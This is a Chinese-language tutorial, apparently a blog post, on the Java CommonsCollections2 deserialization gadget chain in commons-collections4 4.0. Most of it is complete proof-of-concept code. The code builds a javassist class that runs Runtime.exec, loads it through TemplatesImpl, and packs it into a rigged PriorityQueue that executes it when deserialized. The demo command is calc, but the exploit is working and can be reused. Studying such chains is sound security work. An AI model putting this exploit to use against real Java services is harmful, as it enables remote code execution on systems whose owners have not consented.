前言

接上篇TemplatesImpl利用链分析,学习了通过TemplatesImpl利用链来进行类加载执行恶意代码,现在来学习一下CommonsCollections2利用链。

分析前的准备

漏洞组件:commons-collections4.0,使用jdk1.7

pom.xml中引入漏洞依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

引入辅助构造POC依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
</dependency>

利用链分析

cc2利用链是通过TemplatesImpl加载恶意类进行代码执行,危害性较命令执行大一些

  Gadget chain:
    ObjectInputStream.readObject()
      PriorityQueue.readObject()
      PriorityQueue.heapify()
        PriorityQueue.siftDown()
          PriorityQueue.siftDownUsingComparator()
            TransformingComparator.compare()
              InvokerTransformer.transform()
                Method.invoke()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                      TransletClassLoader.defineClass()
                    newInstance()
                      Runtime.getRuntime().exec("calc")

利用链中我们可以看到后半部分就是上篇TemplatesImpl利用链中写到的,然后也是和cc1一样,通过InvokerTransformer#transform去进行任意类方法执行

这里触发InvokerTransformer#transform的方法改变了,但是在之前分析cc1中也提到了TransformingComparator#compare方法也调用了transform,并且可以成功利用。

PriorityQueue

在cc2中,除了TemplatesImpl利用链以外,就得是PriorityQueue了,也是通过该类来进行反序列化成功调用TransformingComparator#compare的,该类实现了Serializable接口,来看一下readObject方法

前边都是一些序列化操作,也比较容易理解,queue是一个对象数组,size是个int型数据

可见queuetransient关键字修饰,不可被序列化,但是在反序列化的过程中将会对该变量进行赋值,通过s.readObject反序列化的对象也是从ObjectInputStream中读取出来的

查看PriorityQueue#writeObject方法,在序列化的过程中也是按顺序将queue中存储的对象写入ObjectOutputStream中,所以其实queue对象也是写入了序列化字符串的;当然这里也写入了size变量。

然后在最后调用了PriorityQueue#readObject的最后调用了heapify方法

这里通过size(需要≥2,2右移1位为1)进入循环,调用siftDown方法,传入queue对象数组中的对象。

这里通过comparator选择执行一个方法,并且该变量可控

siftDownUsingComparator方法中调用了comparator.compare,并且传入参数可控

通过反射修改comparator的值为TransformingComparator对象即可成功利用

queuecomparator变量通过构造方法可传入

POC编写

先使用cc1的ChainedTransformer#transform来尝试写出poc,在进行编写poc的时候下边代码执行触发了恶意代码:

package com.serializable.cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
//        chainedTransformer.transform("payload");
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(chainedTransformer);
    }
}

调试发现触发链如下:

priorityQueue#add->priorityQueue#offer->priorityQueue#siftUp->priorityQueue#siftUpUsingComparator->TransformingComparator#compare->InvokerTransformer#transform

为了避免在序列化的时候触发该问题并抛出异常,我们可以通过定义后反射修改参数的方法进行构造poc:

package com.serializable.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
//        chainedTransformer.transform("payload");
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Object[] objects = {1, chainedTransformer};
        setFieldValue(priorityQueue, "comparator", transformingComparator);
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

在这里边的poc编写中,我们通过PriorityQueue#add方法去增加size,当然我们也可以通过反射:

如上图,如果通过反射增加size和修改queue,这样也不用担心在进行add时触发攻击

现在这样只能达到命令执行的情况,接下来引入TemplatesImpl利用链进行代码执行。

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
//        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Reflections.setFieldValue(templates, "_name", "seizer");
//        templates.newTransformer();

        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

        TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
//        transformingComparator.compare(chainedTransformer, 1);
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
//        priorityQueue.add(1);
//        priorityQueue.add(2);
        setFieldValue(priorityQueue, "size", 2);

        Object[] objects = {templates, 2};
//        setFieldValue(priorityQueue, "comparator", transformingComparator);
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

在这里又遇到了俩个问题:

compare比较时会依次执行这两个对象的自定义方法,如果将2放在前边,在执行newTransformer将会抛出异常

在之前学习TemplatesImpl利用链时,_tfactory变量是用关键字transient修饰的,所以说该变量是不能被序列化的,但是还会成功触发恶意代码呢?

我们可以看到TemplatesImpl也存在readObject方法,在最后一行对_tfactory进行了赋值

通过调试也可以看到_tfactoryTransformerFactoryImpl对象

最终POC

package com.serializable.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();   // 获取CtClass容器
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中
        CtClass testCtClass = classPool.makeClass("TestCtClass");   // 创建CtClass对象
        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));    // 设置父类为AbstractTranslet
        CtConstructor ctConstructor = testCtClass.makeClassInitializer();   // 创建空初始化构造器
        ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句
        byte[] bytes = testCtClass.toBytecode();    // 获取字节数据
        TemplatesImpl templates = new TemplatesImpl();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Reflections.setFieldValue(templates, "_name", "seizer");
        
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
        TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
        
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        setFieldValue(priorityQueue, "size", 2);
        Object[] objects = {templates, 2};
        setFieldValue(priorityQueue, "queue", objects);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}